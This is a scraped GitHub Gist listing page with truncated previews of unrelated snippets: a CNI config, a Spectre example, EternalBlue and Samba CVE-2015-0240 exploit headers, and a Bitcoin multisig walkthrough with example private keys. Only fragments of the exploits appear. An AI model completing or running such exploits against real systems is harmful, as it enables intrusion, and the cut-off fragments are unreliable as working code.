Skip to content

Instantly share code, notes, and snippets.

@chanwit
chanwit / 10-my-cni-demo_node1.conf
Last active August 9, 2019 14:48
AINTEC 2019 Tutorial
{
"cniVersion": "0.3.1",
"name": "my-cni-demo",
"type": "my-cni-demo",
"podcidr": "10.42.0.0/24"
}
@ErikAugust
ErikAugust / spectre.c
Last active January 5, 2025 07:01
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@worawit
worawit / eternalblue7_exploit.py
Last active November 1, 2024 23:12
Eternalblue exploit for Windows 7/2008
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@worawit
worawit / cve-2015-0240_samba_exploit.py
Created April 10, 2015 14:48
Exploit for Samba vulnerabilty (CVE-2015-0240)
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya
The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.
Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
@worawit
worawit / cve-2015-0240_samba_poc
Last active March 30, 2024 15:03
PoC for Samba vulnerabilty (CVE-2015-0240)
#!/usr/bin/python
"""
PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
This PoC does only triggering the bug
Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
#################
Exploitability against CentOS/Ubuntu binaries
# Raw transaction API example work-through
# Send coins to a 2-of-3 multisig, then spend them.
#
# For this example, I'm using these three keypairs (public/private)
# 0491bba2510912a5bd37da1fb5b1673010e43d2c6d812c514e91bfa9f2eb129e1c183329db55bd868e209aac2fbc02cb33d98fe74bf23f0c235d6126b1d8334f86 / 5JaTXbAUmfPYZFRwrYaALK48fN6sFJp4rHqq2QSXs8ucfpE4yQU
# 04865c40293a680cb9c020e7b1e106d8c1916d3cef99aa431a56d253e69256dac09ef122b1a986818a7cb624532f062c1d1f8722084861c5c3291ccffef4ec6874 / 5Jb7fCeh1Wtm4yBBg3q3XbT6B525i17kVhy3vMC9AqfR6FH2qGk
# 048d2455d2403e08708fc1f556002f1b6cd83f992d085097f9974ab08a28838f07896fbab08f39495e15fa6fad6edbfb1e754e35fa1c7844c41f322a1863d46213 / 5JFjmGo5Fww9p8gvx48qBYDJNAzR9pmH5S389axMtDyPT8ddqmw
# First: combine the three keys into a multisig address:
./bitcoind createmultisig 2 '["0491bba2510912a5bd37da1fb5b1673010e43d2c6d812c514e91bfa9f2eb129e1c183329db55bd868e209aac2fbc02cb33d98fe74bf23f0c235d6126b1d8334f86","04865c40293a680cb9c020e7b1e106d8c1916d3cef99aa431a56d253e69256dac09ef122b1a9